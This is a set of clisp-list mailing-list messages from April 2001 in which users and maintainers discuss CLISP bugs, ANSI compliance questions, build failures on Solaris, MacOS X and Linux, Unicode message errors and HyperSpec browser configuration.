Yes, but &allow-other-keys in that situation disables keyword argument
checking, which is not what I want.

So, what is the correct, ANSI behavior?

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> * In message <200104032013.QAA04749@tinian.linuxnet.hom>
> * On the subject of "Re: [clisp-list] ANSI compatibility question"
> * Sent on Tue, 3 Apr 2001 16:13:54 -0400
> * Honorable "David E. Young" <youngde@nc.rr.com> writes:
>
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
> Sam> CLISP tries to call your `initialize-instance' :after method and
> Sam> fails - it does not take :name args.  If you write
> 
> Sam> (defmethod initialize-instance :after ((self rule) &key
> Sam> (directives nil) &allow-other-keys) ...)
> 
> Sam> it should work.
> 
> Yes, but &allow-other-keys in that situation disables keyword argument
> checking, which is not what I want.

Please see Issue INITIALIZATION-FUNCTION-KEYWORD-CHECKING Writeup.
This is the intended behavior.

> So, what is the correct, ANSI behavior?

I believe CLISP is correct here.

I don't think that any error checking can actually be done here: the
same args which were given to `initialize-instance' will be passed over
to the `initialize-instance' :after method, so all `initialize-instance'
methods must take all the arguments that the main `initialize-instance'
takes.

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The following message is a courtesy copy of an article
that has been posted to comp.lang.lisp as well.

Please visit http://clisp.cons.org for information on downloading the sources.

2.25.1 (2001-04-06)
===================

User visible changes [this is a bug-fix only release]
--------------------

* ANSI CL compliance: INITIALIZE-INSTANCE accepts &KEY &ALLOW-OTHER-KEYS
  arguments.

* Fixed a bug: a single value was sometimes returned by READ-LINE.

* Fixed a bug: re-exporting inherited symbols resulted in them being
  reported as both external and inherited by WITH-PACKAGE-ITERATOR.

* Fixed a bug: the full image and other images created with clisp-link
  exited on error instead of entering the debugger.

* Fixed a bug: COMPILE-FILE-PATHNAME could returned bad results when given a
  non-existent INPUT-FILE argument and an OUTPUT-FILE argument with
  non-NIL directory part.

* Fixed --without-unicode build.


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I've built a binary distribution of CLISP 2.25.1 for Redhat 6.2. I can
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> * In message <200104062116.RAA18512@tinian.linuxnet.hom>
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> I've built a binary distribution of CLISP 2.25.1 for Redhat 6.2. I can
> supply it if there's interest.

where can I download it from ?

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

>> * In message <200104062116.RAA18512@tinian.linuxnet.hom> * On the
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>> I've built a binary distribution of CLISP 2.25.1 for Redhat 6.2. I
>> can supply it if there's interest.

Sam> where can I download it from ?

You can use anonymous ftp to the LISA project site:

  ftp://lisa.sourceforge.net/pub/lisa/

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> * In message <200104062219.SAA18656@tinian.linuxnet.hom>
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> >> I've built a binary distribution of CLISP 2.25.1 for Redhat 6.2. I
> >> can supply it if there's interest.
> 
> Sam> where can I download it from ?
> 
> You can use anonymous ftp to the LISA project site:
> 
>   ftp://lisa.sourceforge.net/pub/lisa/

thanks - I just put it into the usual CLISP distribution places, so you
should probably remove it (to avoid confusion).

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If my understanding of the HyperSpec is correct, the IN-PACKAGE form in the
following transcript (CLISP 2000-03-06 under Red Hat Linux 6.2) should not
generate an error:

[1]> (defpackage #:foo)
#<PACKAGE FOO>
[2]> (in-package #:foo)

*** - EVAL: variable #:FOO has no value
1. Break [3]>

What gives?


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> * In message <xAjSOqyXzU58g0fERjFs=pWGtWRN@4ax.com>
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> If my understanding of the HyperSpec is correct, the IN-PACKAGE form
> in the following transcript (CLISP 2000-03-06 under Red Hat Linux 6.2)
> should not generate an error:
> 
> [1]> (defpackage #:foo)
> #<PACKAGE FOO>
> [2]> (in-package #:foo)
> 
> *** - EVAL: variable #:FOO has no value
> 1. Break [3]>
> 
> What gives?

1. you are using a version 2 releases old.  please upgrade.

2. CLISP has two IN-PACKAGE symbols: LISP:IN-PACKAGE, a CLtL1 function,
   and CL:IN-PACKAGE, an ANSI CL macro.  You are in the USER package,
   which uses LISP, not in CL-USER, which uses CL.  Thus:

$ clisp -q -norc -p CL-USER
[1]> (defpackage #:foo)
#<PACKAGE FOO>
[2]> (in-package #:foo)
#<PACKAGE FOO>
FOO[3]> 
$

3. The current CVS version removes this distinction - there is no CLtL1
   support anymore and LISP is a nickname for COMMON-LISP and USER is a
   nickname for COMMON-LISP-USER.

-- 
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I have send this message some days again as a bug, but it seems to have
disappeared from the bug list ?

So it is here again:

                Hello!

                For clisp-2.25 (installed without problems with
                gcc-2.95.3):

                $ clisp -q -norc

                [1]> (machine-instance)
                "sylla [137.129.xxx.xxx]"
                [2]> (machine-version)
                "SUN4US"
                [3]> (quit)
                $ clisp -q -norc

                [1]> (/ 0)

                *** - division by zero
                1. Break [2]> (quit)
                $ clisp -q -norc -L francais

                [1]> (/ 0)

                *** - Message inimprimable
                1. Break [2]> (quit)
                $ clisp -q -norc -L deutsch

                [1]> (/ 0)

                *** - Division durch Null
                1. Break [2]> (quit)
                $ clisp -q -norc -L spanish

                [1]> (/ 0)

                *** - invalid byte #xF3 in CHARSET:UTF-8 conversion,
                not a Unicode-16
                1. Break [2]> (quit)
                $

                The problem seems to be triggered by messages
                containing accented letters.
                Any hint ?

                Regards.

                --

                Bernard Urban

I add that clisp-2.25.1 exhibits the same behaviour.
And about internationalization, how do the clisp
developpers edit their files with all these Unicode codings ?
Basic emacs does not seem to understand Unicode.

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> * In message <3AD48ECF.15A33202@meteo.fr>
> * On the subject of "[clisp-list] internationalization problem"
> * Sent on Wed, 11 Apr 2001 19:05:20 +0200
> * Honorable bernard URBAN <bernard.urban@meteo.fr> writes:
>
>                 $ clisp -q -norc -L francais
>                 [1]> (/ 0)
>                 *** - Message inimprimable
>                 *** - invalid byte #xF3 in CHARSET:UTF-8 conversion,
>                 not a Unicode-16

Please try the following:
 - build libiconv (part of CLISP)
 - install libiconv
 - reconfigure and re-build CLISP.

> And about internationalization, how do the clisp
> developpers edit their files with all these Unicode codings ?
> Basic emacs does not seem to understand Unicode.

Emacs 21 does - that's what I use (I have access to the CVS).

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Hello,

i just installed the latest version of CLISP (2.25.1) in my Windows 98
machine. I used the pre-compiled binary from the CLISP Web site.

I have 2 problems:

(1) when installing, when i do (load "src/config.fas"), it complains that
i'm overwriting the CLHS-ROOT function, and drops me in the debugger.

If i get past this problem, then

(2) when i run specifying a file in the command-line 
(for example: clisp file.lisp), i get the following error:
SYSTEM::%EXPAND-FORM: invalid form (".BAT")
and instead of executing the file, CLISP puts me in the read-eval loop.
If i (load "file.lisp") in the read-eval loop, it works fine.

I'm suspecting that this is happening in init.lisp, but i'm not sure.

It doesn't make any difference if i run clisp from my .bat file or if i run
the lisp.exe -M lispinit.mem directly.

Has anyone else seen these problems? Any solutions?

glauber


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <3AD48ECF.15A33202@meteo.fr> * On the subject of
    >> "[clisp-list] internationalization problem" * Sent on Wed, 11
    >> Apr 2001 19:05:20 +0200 * Honorable bernard URBAN
    >> <bernard.urban@meteo.fr> writes:
    >> 
    >> $ clisp -q -norc -L francais [1]> (/ 0) *** - Message
    >> inimprimable *** - invalid byte #xF3 in CHARSET:UTF-8
    >> conversion, not a Unicode-16

    Sam> Please try the following: - build libiconv (part of CLISP) -
    Sam> install libiconv - reconfigure and re-build CLISP.

Done, but problem remains the same.
Outside Solaris, I also have the same problem on a Linux (Debian) box.
On Solaris, I tried the clisp-2.25.1 binaries, same problem.

More details on Solaris: 
libiconv.a and libintl.a are build in base and full directories.
There are Sun /usr/lib/libintl.so and /usr/include/iconv.h on
my Solaris box. clisp insists on building libiconv.a, even if it
detects this system iconv. 

It would be helpful to start from a platform where these things work.
I guess that Bruno Haible uses the german interface and it works for
him, so what is he using for his computer ?
Last time I had a working internationalized clisp was on HP-UX
(version from 1999).

This bug is really annoying to investigate, as by definition, most
messages printing in the clisp debugger are subject to the same error, 
so you have an error in the debugger itself,
and so all things end messed up. At least, I have no infinite loop...

Perhaps printing in the debugger should be (optionally) formatted
without internationalization ?

    >> And about internationalization, how do the clisp developpers
    >> edit their files with all these Unicode codings ?  Basic emacs
    >> does not seem to understand Unicode.

    Sam> Emacs 21 does - that's what I use (I have access to the CVS).

Ok, you are ahead of the crowd... I will try some japanese (!) MULE
extension which is rumored to do Unicode.

Thank you for trying to help on this topic.

Regards.

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Hi,

I've tried to compile CLISP 2.25.1 under MacOS X (10.0.1 4L7) with
Apple's developer tools installed.

I did:

[localhost:/Lisp/CLisp/clisp-2.25.1] joswig% ./configure darwin-clisp
executing darwin-clisp/configure ...
creating cache ./config.cache
checking for gcc... no
checking for cc... cc
checking whether the C compiler (cc  ) works... yes
checking whether the C compiler (cc  ) is a cross-compiler... no
checking whether we are using GNU C... yes
checking how to run the C preprocessor... cc -O -E -traditional-cpp
checking for AIX... no
checking whether using GNU C... yes
checking whether using C++... no
checking whether using ANSI C... yes
checking whether CPP likes indented directives... yes
checking whether CPP likes empty macro arguments... yes
checking for underscore in external names... yes
checking for ranlib... ranlib
checking for a BSD compatible install... /usr/bin/install -c
checking how to copy files... cp -p
checking how to make hard links... ln
checking whether ln -s works... yes
checking how to make hard links to symlinks... ln
checking for groff... groff
checking for getpwnam... yes
checking for DYNIX/ptx libseq or libsocket... no
checking whether gethostent requires -lnsl... no
checking whether setsockopt requires -lsocket... no
checking whether CC works at all... yes
checking host system type... powerpc-apple-darwin1.3

...

creating Makefile
creating config.h
case "darwin1.3" in \
  aix3*) syntax=aix.old;; \
  aix*) syntax=aix.new;; \
  linux*) syntax=linux;; \
  *) syntax=sysv4;; \
esac; \
/bin/sh ./libtool --mode=compile cc -O -traditional-cpp -x none -c ../../ffcall/avcall/avcall-rs6000-${syntax}.s ; \
cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f avcall-rs6000-${syntax}.lo ; \
if test -f avcall-rs6000-${syntax}.o; then mv avcall-rs6000-${syntax}.o avcall-rs6000.o; fi
cc -O -traditional-cpp -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o avcall-rs6000-sysv4.o
avcall-rs6000.c:3:Expected comma after segment-name
avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( ).
avcall-rs6000.c:5:Unknown pseudo-op: .type

...

After some more errors in this file it then fails...

Any ideas?

Rainer Joswig


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> * In message <88n19mjhx9.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me>
> * On the subject of "Re: [clisp-list] internationalization problem"
> * Sent on 12 Apr 2001 16:45:22 +0200
> * Honorable bernard URBAN <Bernard.Urban@meteo.fr> writes:
>
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     Sam> Please try the following: - build libiconv (part of CLISP) -
>     Sam> install libiconv - reconfigure and re-build CLISP.
> 
> Done, but problem remains the same.

Here is what you should have done:

  1) make distclean in the CLISP directory.
  2) cd libiconv
     ./configure --disable-shared
     make
     make install
     make distclean
  3) set the environment variables
       CPPFLAGS=-I/..../include    so that it will find <iconv.h>
       LDFLAGS=-L/..../lib         so that it will find libiconv.a
     and export them
     Here "...." is the path where the previous "make install" installed
     the files iconv.h and libiconv.a
  4) back to CLISP main directory
     ./configure
     and continue as usual

Does this help?

> More details on Solaris: 
> libiconv.a and libintl.a are build in base and full directories.
> There are Sun /usr/lib/libintl.so and /usr/include/iconv.h on
> my Solaris box. CLISP insists on building libiconv.a, even if it
> detects this system iconv. 

CLISP uses some GNU libiconv features not present in the Solaris
libiconv. 

> It would be helpful to start from a platform where these things work.
> I guess that Bruno Haible uses the german interface and it works for
> him, so what is he using for his computer ?

the above instructions are directly from him.

apparently, libiconv has to be installed on the system when CLISP is
being configured.

Good luck - and thanks for using CLISP!

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Hi,

> * In message <a05100901b6f55b62d989@[194.163.195.67]>
> * On the subject of "[clisp-list] Problem compiling CLISP under MacOS X"
> * Sent on Sun, 8 Apr 2001 02:18:32 +0200
> * Honorable Rainer Joswig <joswig@corporate-world.lisp.de> writes:
>
> I've tried to compile CLISP 2.25.1 under MacOS X (10.0.1 4L7) with
> Apple's developer tools installed.
> 
> cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f avcall-rs6000-${syntax}.lo ; \
> if test -f avcall-rs6000-${syntax}.o; then mv avcall-rs6000-${syntax}.o avcall-rs6000.o; fi
> cc -O -traditional-cpp -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o avcall-rs6000-sysv4.o
> avcall-rs6000.c:3:Expected comma after segment-name
> avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( ).
> avcall-rs6000.c:5:Unknown pseudo-op: .type

this means that FFI has not been ported to MacOS X yet - this should not
prevent you from building the rest of CLISP.

1. specify --with-no-dynamic-ffi to configure
2. make sure that /bin/sh is present and good (or set CONFIG_SHELL to
/bin/ksh or /bin/bash).

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message
    >> <88n19mjhx9.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me>
    >> * On the subject of "Re: [clisp-list] internationalization
    >> problem" * Sent on 12 Apr 2001 16:45:22 +0200 * Honorable
    >> bernard URBAN <Bernard.Urban@meteo.fr> writes:
    >> 
    >> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    >> 
    Sam> Please try the following: - build libiconv (part of CLISP) -
    Sam> install libiconv - reconfigure and re-build CLISP.
    >>  Done, but problem remains the same.

    Sam> Here is what you should have done:

    Sam>   1) make distclean in the CLISP directory.  2) cd libiconv
    Sam> ./configure --disable-shared make make install make distclean
    Sam> 3) set the environment variables CPPFLAGS=-I/..../include so
    Sam> that it will find <iconv.h> LDFLAGS=-L/..../lib so that it
    Sam> will find libiconv.a and export them Here "...." is the path
    Sam> where the previous "make install" installed the files iconv.h
    Sam> and libiconv.a 4) back to CLISP main directory ./configure
    Sam> and continue as usual

    Sam> Does this help?

Yes, it works !!! (tested on Solaris, I will try on Linux Debian later)
In all cases, clisp builds the libiconv.a in its distribution, so it
does not make sense to TEST for an external iconv in the configure process.

    >> More details on Solaris: libiconv.a and libintl.a are build in
    >> base and full directories.  There are Sun /usr/lib/libintl.so
    >> and /usr/include/iconv.h on my Solaris box. CLISP insists on
    >> building libiconv.a, even if it detects this system iconv.

    Sam> CLISP uses some GNU libiconv features not present in the
    Sam> Solaris libiconv.

    >> It would be helpful to start from a platform where these things
    >> work.  I guess that Bruno Haible uses the german interface and
    >> it works for him, so what is he using for his computer ?

    Sam> the above instructions are directly from him.

    Sam> apparently, libiconv has to be installed on the system when
    Sam> CLISP is being configured.

Perhaps to be put in the README:
the emacs package Mule-UCS-0.83 extends emacs-20 to read Unicode files. 

And to finish some buglet when compiling clisp with the gcc version:
$ gcc -v
Reading specs from /export/home/urban/lib/gcc-lib/sparc-sun-solaris2.7/2.95.3/specs
gcc version 2.95.3 20010315 (release)
$

which does not understand '-Wreturn-type' compilation option.

Regards.

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> * In message <F5F5D222CD70D111886C00805FE69D2103019602@schexch1.sch.experian.com>
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> * Honorable "Ribeiro, Glauber" <glauber.ribeiro@experian.com> writes:
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> (1) when installing, when i do (load "src/config.fas"), it complains that
> i'm overwriting the CLHS-ROOT function, and drops me in the debugger.

I think this is fixed in the current sources.

> (2) when i run specifying a file in the command-line 
> (for example: clisp file.lisp), i get the following error:
> SYSTEM::%EXPAND-FORM: invalid form (".BAT")
> and instead of executing the file, CLISP puts me in the read-eval loop.
> If i (load "file.lisp") in the read-eval loop, it works fine.

I just fixed this in the CVS.

Thanks for reporting the bug.

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Dear all,

I'm using clisp on debian GUN/Linux 2.2r2 and mozilla M18.  When I want 
to view the HyperSpec in Emacs via C-c H, ilisp complained that there is 
no program named `netscape'.  Then I made a symbolic link to mozilla, 
and that lauched the program, but left the address blank and did not go 
to the relevant page.

I checked `clhs.lisp' and found that the problem seems to be caused by 
hardcoding `:netscape' as the default `*browser*' in function definition 
of `clhs'.  Even though I tried to set *browser* to another value, it 
did not help.

Does anybody ever meet the same problem?

Best!

-- 
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On Thu, Apr 19, 2001 at 07:53:22AM +0800, Debian User Bruce wrote:
> Dear all,
> 
> I'm using clisp on debian GUN/Linux 2.2r2 and mozilla M18.  When I want 
> to view the HyperSpec in Emacs via C-c H, ilisp complained that there is 
> no program named `netscape'.  Then I made a symbolic link to mozilla, 
> and that lauched the program, but left the address blank and did not go 
> to the relevant page.
> 
> I checked `clhs.lisp' and found that the problem seems to be caused by 
> hardcoding `:netscape' as the default `*browser*' in function definition 
> of `clhs'.  Even though I tried to set *browser* to another value, it 
> did not help.
> 

Hi

(I assume your problem is not caused by emacs settings).  You should add
mozilla to the list of available browsers in *browsers*.

If I evaluate "*browsers*" I get:


((:NETSCAPE "netscape" "-remote" "openURL(~a,new-window)") (:LYNX "xterm" "-e"
"lynx" "~a") (:W3M "xterm" "-e" "w3m" "~a") (:MMM "mmm" "-external" "~a")
(:MOSAIC "xmosaic" "~a") (:EMACS-W3 "gnudoit" "-q" "(w3-fetch \"~a\")"))

So I can say "(clhs 'defun :browser :LYNX)", and it will start an xterm with
lynx running on the page of the HS regarding 'defun.  The default is to run
netscape, if you don't specify a browser.

So you need to find out what M18 wants to start it like this, and push that
list onto the *browser* list.  It's probably similar to netscape, so you could
try:

(push '(:MOZILLA "mozilla" "-remote" "openURL(~a,new-window)") *browsers*)

If that doesn't work, find out what M18 wants to start like this.

Regards,
Peter


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> * In message <3ADE28F2.6010107@163.net>
> * On the subject of "[clisp-list] Can't find netscape"
> * Sent on Thu, 19 Apr 2001 07:53:22 +0800
> * Honorable Debian User Bruce <bruce253@163.net> writes:
>
> I'm using clisp on debian GUN/Linux 2.2r2 and mozilla M18.  When I
> want to view the HyperSpec in Emacs via C-c H, ilisp complained that
> there is no program named `netscape'.  Then I made a symbolic link to
> mozilla, and that lauched the program, but left the address blank and
> did not go to the relevant page.

this is a problem with Emacs/Ilisp, not with CLISP.

> I checked `clhs.lisp' and found that the problem seems to be caused by
> hardcoding `:netscape' as the default `*browser*' in function
> definition of `clhs'.  Even though I tried to set *browser* to another
> value, it did not help.

Fixed, thanks for the bug report.

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On Thu, Apr 19, 2001 at 10:25:12AM -0400, Sam Steingold wrote:

> > * Honorable Debian User Bruce <bruce253@163.net> writes:
> >
> > I'm using clisp on debian GUN/Linux 2.2r2 and mozilla M18.  When I
> > want to view the HyperSpec in Emacs via C-c H, ilisp complained that
> > there is no program named `netscape'.  Then I made a symbolic link to
> > mozilla, and that lauched the program, but left the address blank and
> > did not go to the relevant page.
> 
> this is a problem with Emacs/Ilisp, not with CLISP.

How can it be a problem with Emacs/Ilisp if putting in a symlink from netscape
to mozilla resulted in the program launching.

> 
> > I checked `clhs.lisp' and found that the problem seems to be caused by
> > hardcoding `:netscape' as the default `*browser*' in function
> > definition of `clhs'.  Even though I tried to set *browser* to another
> > value, it did not help.
> 
> Fixed, thanks for the bug report.

You puzzle me, Sam.  Why is it a bug?  He doesn't *have* netscape on his
machine, so how is it supposed to start it?  He needs to put his browser into
the list of *browsers*, with whatever strings are necessary to start it.

If I want to use the "links" browser, I do:

(push '(:LINKS "xterm" "-e" "links" "~a") *browsers*)

Then I can say (clhs 'defun :browser :LINKS).

He just needs to do the same thing for his browser (mozilla).

But maybe I am not seeing something.

Regards
Peter


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sorry that I was not clear.

> * In message <20010419175619.A5017@localhost.localdomain>
> * On the subject of "Re: [clisp-list] Can't find netscape"
> * Sent on Thu, 19 Apr 2001 17:56:19 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> On Thu, Apr 19, 2001 at 10:25:12AM -0400, Sam Steingold wrote:
> 
> > > * Honorable Debian User Bruce <bruce253@163.net> writes:
> > >
> > > I'm using clisp on debian GUN/Linux 2.2r2 and mozilla M18.  When I
> > > want to view the HyperSpec in Emacs via C-c H, ilisp complained that
> > > there is no program named `netscape'.  Then I made a symbolic link to
> > > mozilla, and that lauched the program, but left the address blank and
> > > did not go to the relevant page.
> > 
> > this is a problem with Emacs/Ilisp, not with CLISP.
> 
> How can it be a problem with Emacs/Ilisp if putting in a symlink from
> netscape to mozilla resulted in the program launching.

Emacs/Ilisp was calling "netscape" which was not installed on his
machine.  the right solution is not to make a symlink, but to tell
Emacs/Ilisp to use mozilla.

CLISP has nothing to do with the problem - that was the gist of my
note. 

> > > I checked `clhs.lisp' and found that the problem seems to be caused by
> > > hardcoding `:netscape' as the default `*browser*' in function
> > > definition of `clhs'.  Even though I tried to set *browser* to another
> > > value, it did not help.
> > 
> > Fixed, thanks for the bug report.
> 
> Why is it a bug?  

the bug is that the default browser for CLHS was :NETSCAPE and not
*BROWSER*. 

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Sam Steingold wrote:

> Emacs/Ilisp was calling "netscape" which was not installed on his
> machine.  the right solution is not to make a symlink, but to tell
> Emacs/Ilisp to use mozilla.
> 
> CLISP has nothing to do with the problem - that was the gist of my
> note. 

Indeed, Sam is correct.  I realized that, too.  The only troble is I 
don't know how to make it work with mozilla.

Does anybody know how to call mozilla, either in clisp or using ilisp? I 
suppose if one knows one thing, one knows the other.

>>>> I checked `clhs.lisp' and found that the problem seems to be caused by
>>>> hardcoding `:netscape' as the default `*browser*' in function
>>>> definition of `clhs'.  Even though I tried to set *browser* to another
>>>> value, it did not help.
>>> 
>>> Fixed, thanks for the bug report.
>> 
>> Why is it a bug?  
> 
> the bug is that the default browser for CLHS was :NETSCAPE and not
> *BROWSER*. 

Yes, that's a bug.  Otherwise, *BROWSER* is meaningless if the function 
`clhs' does not use it as a default argument.




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On Fri, Apr 20, 2001 at 08:29:17AM +0800, Debian User Bruce wrote:
> > the bug is that the default browser for CLHS was :NETSCAPE and not
> > *BROWSER*. 
> 
> Yes, that's a bug.  Otherwise, *BROWSER* is meaningless if the function 
> `clhs' does not use it as a default argument.

Ok, ok. It's a bug.  But it won't arise if you specify a browser when you call
clhs.  So did you try:

(push '(:MOZILLA "mozilla" "-remote" "openURL(~a,new-window)") *browsers*)

And then:

(clhs 'foo :browser :MOZILLA)

????

[I don't use mozilla so I can't check.  A quick search told me there have been
bugs concerning starting both netscape and mozilla.  I don't know if they are
still open.  I think the "-remote" option is the only one implemented in
mozilla, and that the above might only work if mozilla is already running.]

Peter


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Peter Wood wrote:


> Ok, ok. It's a bug.  But it won't arise if you specify a browser when you call
> clhs.  So did you try:
> 
> (push '(:MOZILLA "mozilla" "-remote" "openURL(~a,new-window)") *browsers*)
> 
> And then:
> 
> (clhs 'foo :browser :MOZILLA)
That has the same effect as symlinking. The mozilla is started waiting 
me to inpt at the address box.

> [I don't use mozilla so I can't check.  A quick search told me there have been
> bugs concerning starting both netscape and mozilla.  I don't know if they are
> still open.  I think the "-remote" option is the only one implemented in
> mozilla, and that the above might only work if mozilla is already running.]

Netscape 4.x can work perfectly well with ilisp 5.10.1 and clisp when I 
was running RedHat 6.x. Now I'm running Debian distro and mozilla M18. 
Thus I guess the problem lies at mozilla.

BTW, when I use `clhs', I have to exit from the browser before I can 
return to work with clisp.  That seems to be too inflexible.  When I use 
ilisp, I'm not constrained that way.  Don't know whether that can be 
considered as a bug and be fixed, but I can work around that problem 
with emacs plus ilisp.

So before finding out ways to work with mozilla, I can customize Emacs 
and let ilisp choose lynx-emacs as the default browser and be free from 
the constraint mentioned above.

Best!
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I'm attempting to build the latest clisp from CVS and there appears to be a
problem when building the wildcard module.

The build process got as far as building wildcard and then stopped with:

,----
| Compiling file /usr/local/src/clisp/with-gcc-wall/wildcard/wildcard.lisp ...
| *** - There is no package with name "WILDCARD"
`----

at that point lisp.run seemed to hog the processor and nothing more
happened. Hitting Ctrl-C didn't help so I ended up having to kill the
process.

This is on a RedHat 6.2 GNU/Linux box. gcc is:

,----
| davep@hagbard:~$ gcc -v
| Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
| gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
`----

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On Fri, Apr 20, 2001 at 01:24:44PM +0100, Dave Pearson wrote:

> The build process got as far as building wildcard and then stopped with:
> 
> ,----
> | Compiling file /usr/local/src/clisp/with-gcc-wall/wildcard/wildcard.lisp ...
> | *** - There is no package with name "WILDCARD"
> `----
> 
> at that point lisp.run seemed to hog the processor and nothing more
> happened. Hitting Ctrl-C didn't help so I ended up having to kill the
> process.

Having managed to build the latest clisp by removing WILDCARD from the list
of modules I'm now trying to build the latest version of clocc (I'm trying
to get the latest clisp going so I can get the latest clocc going as it
seems the latest clocc needs the latest clisp).

On doing a "make clocc-top" I get the following error:

,----
| ;; Loading file clocc.fas ...
| ;; Loading of file clocc.fas is finished.
| ;; Loading file src/defsystem-3.x/defsystem.fas ...
| *** - FIND-ALL-SYMBOLS: argument #<UNBOUND> should be a string or a symbol
`----

and, at that point, lisp.run seems to be "stuck" and seems to hog the
processor. I've also observed this behaviour when trying to compile a file
of my own.

-- 
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  ...

> > > this is a problem with Emacs/Ilisp, not with CLISP.
> > 
> > How can it be a problem with Emacs/Ilisp if putting in a symlink from
> > netscape to mozilla resulted in the program launching.
> 
> Emacs/Ilisp was calling "netscape" which was not installed on his
> machine.  the right solution is not to make a symlink, but to tell
> Emacs/Ilisp to use mozilla.
> 
> CLISP has nothing to do with the problem - that was the gist of my
> note. 
> 
> > > > I checked `clhs.lisp' and found that the problem seems to be caused by
> > > > hardcoding `:netscape' as the default `*browser*' in function
> > > > definition of `clhs'.  Even though I tried to set *browser* to another
> > > > value, it did not help.
> > > 
> > > Fixed, thanks for the bug report.
> > 
> > Why is it a bug?  
> 
> the bug is that the default browser for CLHS was :NETSCAPE and not
> *BROWSER*. 

And from this discussion I gather that ILISP too is not to blame. :)

Cheers


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> * In message <20010420134340.X20026@hagbard.davep.org>
> * On the subject of "[clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module)"
> * Sent on Fri, 20 Apr 2001 13:43:40 +0100
> * Honorable Dave Pearson <davep@davep.org> writes:
>
> On Fri, Apr 20, 2001 at 01:24:44PM +0100, Dave Pearson wrote:
> 
> > The build process got as far as building wildcard and then stopped with:
> > 
> > ,----
> > | Compiling file /usr/local/src/clisp/with-gcc-wall/wildcard/wildcard.lisp ...
> > | *** - There is no package with name "WILDCARD"
> > `----
> > 
> > at that point lisp.run seemed to hog the processor and nothing more
> > happened. Hitting Ctrl-C didn't help so I ended up having to kill the
> > process.

latest CLISP means the CVS version, right?
I will fix this right away.

> | ;; Loading file clocc.fas ...
> | ;; Loading of file clocc.fas is finished.
> | ;; Loading file src/defsystem-3.x/defsystem.fas ...
> | *** - FIND-ALL-SYMBOLS: argument #<UNBOUND> should be a string or a symbol

please recompile defsystem


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On Fri, Apr 20, 2001 at 12:15:44PM -0400, Sam Steingold wrote:

> latest CLISP means the CVS version, right?

Apologies, that wasn't very clear was it? Yes, from CVS.

> I will fix this right away.
> 
> > | ;; Loading file clocc.fas ...
> > | ;; Loading of file clocc.fas is finished.
> > | ;; Loading file src/defsystem-3.x/defsystem.fas ...
> > | *** - FIND-ALL-SYMBOLS: argument #<UNBOUND> should be a string or a symbol
> 
> please recompile defsystem

Curious, did the clocc CVS server send me *.fas files? Time to
investigate....

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On Fri, Apr 20, 2001 at 12:15:44PM -0400, Sam Steingold wrote:

> > [SNIP: lisp.run hangs and hogs process when encountering an error]
> 
> latest CLISP means the CVS version, right?
> I will fix this right away.

Did a fix happen? I refreshed from CVS just now but compiling still dies as
it did before:

,----
| Compiling file /usr/local/src/clisp/with-gcc-wall/wildcard/wildcard.lisp ...
| *** - There is no package with name "WILDCARD"
`----

and hangs hogging the processor.

I guess the above is also a bug in wildcard.lisp as well (as in, it's a bug
that kicks off the unrelated problem of clisp hanging when encountering an
error)?

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> * In message <20010421070839.L20026@hagbard.davep.org>
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> Did a fix happen? I refreshed from CVS just now but compiling still
> dies as it did before:

it works for me since this morning. :-)

> and hangs hogging the processor.

I cannot reproduce this.
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On Mon, Apr 23, 2001 at 11:24:18AM -0400, Sam Steingold wrote:

> > Did a fix happen? I refreshed from CVS just now but compiling still dies
> > as it did before:
> 
> it works for me since this morning. :-)

It might be useful to indicate what change might coincide with your morning
so I'll know if I'm using your idea of "this morning" and any code that goes
with it.

> > and hangs hogging the processor.
> 
> I cannot reproduce this.

I can reproduce this at will (although I'm rebuilding clisp right now with
source pulled from CVS just a few moments ago, I'll let you know what
happens once I've rebuilt and re-tested) like this:

,----
| davep@hagbard:~/temp$ cat foo.cl
| (error "Boo!")
| davep@hagbard:~/temp$ clisp -K full -a foo.cl
| 
| *** - Boo!
`----

at that point there's a lisp.run sitting in memory pegging the processor. In
my limited knowledge of clisp it would appear that any ERROR call in a
"batch" call to clisp causes lisp.run to hang (and it hangs such that it
won't response to a Ctrl-C (other then to tell me that I've hit Ctrl-C) but
will be killed.

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I wonder of someone might be able to see where I'm going wrong when building
clisp from sources pulled from CVS.

Each time I pull the sources I go into the build directory that was created
when I did a configure on clisp (clisp/with-gcc-wall in this case) and issue
a "make clean" followed by a "make".

The build system always dies after a while with:

,----
| chmod a+x clisp-link
| test -d linkkit || mkdir linkkit
| cd linkkit && ln -s ../modules.d modules.d
| cd linkkit && ln -s ../modules.c modules.c
| cd linkkit && ln -s ../clisp.h clisp.h
| ln: clisp.h: File exists
| make: *** [linkkit] Error 1
`----

If I clean some of the content of with-gcc-wall/linkkit:

,----
| davep@hagbard:/usr/local/src/clisp/with-gcc-wall$ ls -lG linkkit/
| total 0
| lrwxrwxrwx    1 davep          10 Apr 20 13:13 clisp.h -> ../clisp.h
| lrwxrwxrwx    1 davep          12 Apr 23 17:22 modules.c -> ../modules.c
| lrwxrwxrwx    1 davep          12 Apr 23 17:22 modules.d -> ../modules.d
`----

and issue a "make" again, the build carries on.

Am I doing something wrong here? When I pull an update from CVS should I be
going back a level in the build process or something?

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> > Did a fix happen? I refreshed from CVS just now but compiling still dies
> > as it did before:
> 
> it works for me since this morning. :-)

I'm still getting this problem:

,----
| Compiling file /usr/local/src/clisp/with-gcc-wall/wildcard/wildcard.lisp ...
| *** - There is no package with name "WILDCARD"
`----

and lisp.run still hangs and hogs the processor at that point. This is with
clisp sources pulled from CVS as of this clisp-devel message:

